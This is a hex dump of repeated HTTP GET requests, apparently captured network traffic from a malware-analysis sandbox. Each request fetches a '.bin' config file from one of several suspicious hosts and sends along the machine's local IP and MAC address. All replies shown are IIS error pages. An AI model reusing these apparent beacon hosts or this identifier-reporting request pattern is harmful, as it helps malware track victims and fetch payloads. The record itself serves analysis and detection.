0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 736f6f6d   .Host: plus.soom
0x00000100 (00256)   656e672e 636f6d0d 0a436f6e 6e656374   eng.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a0a 3e4e6f20 73756368   che.....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 69636166   .Host: plus.icaf
0x00000100 (00256)   65616473 2e636f6d 0d0a436f 6e6e6563   eads.com..Connec
0x00000110 (00272)   74696f6e 3a20436c 6f73650d 0a436163   tion: Close..Cac
0x00000120 (00288)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000130 (00304)   61636865 0d0a0d0a 3e4e6f20 73756368   ache....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2064 6f776e69 6e692e63   .Host: downini.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2069 6e69787a 2e636f6d   .Host: inixz.com
0x00000100 (00256)   0d0a436f 6e6e6563 74696f6e 3a20436c   ..Connection: Cl
0x00000110 (00272)   6f73650d 0a436163 68652d43 6f6e7472   ose..Cache-Contr
0x00000120 (00288)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2069 6e696269 6e2e636f   .Host: inibin.co
0x00000100 (00256)   6d0d0a43 6f6e6e65 6374696f 6e3a2043   m..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2062 696e646f 776e2e63   .Host: bindown.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 7a7a696e   .Host: plus.zzin
0x00000100 (00256)   666f722e 636e0d0a 436f6e6e 65637469   for.cn..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a0d0a 3e4e6f20 73756368   he......>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 736f6f6d   .Host: plus.soom
0x00000100 (00256)   656e672e 636f6d0d 0a436f6e 6e656374   eng.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a0a 3e4e6f20 73756368   che.....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 69636166   .Host: plus.icaf
0x00000100 (00256)   65616473 2e636f6d 0d0a436f 6e6e6563   eads.com..Connec
0x00000110 (00272)   74696f6e 3a20436c 6f73650d 0a436163   tion: Close..Cac
0x00000120 (00288)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000130 (00304)   61636865 0d0a0d0a 3e4e6f20 73756368   ache....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2064 6f776e69 6e692e63   .Host: downini.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2069 6e69787a 2e636f6d   .Host: inixz.com
0x00000100 (00256)   0d0a436f 6e6e6563 74696f6e 3a20436c   ..Connection: Cl
0x00000110 (00272)   6f73650d 0a436163 68652d43 6f6e7472   ose..Cache-Contr
0x00000120 (00288)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2069 6e696269 6e2e636f   .Host: inibin.co
0x00000100 (00256)   6d0d0a43 6f6e6e65 6374696f 6e3a2043   m..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2062 696e646f 776e2e63   .Host: bindown.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.


Strings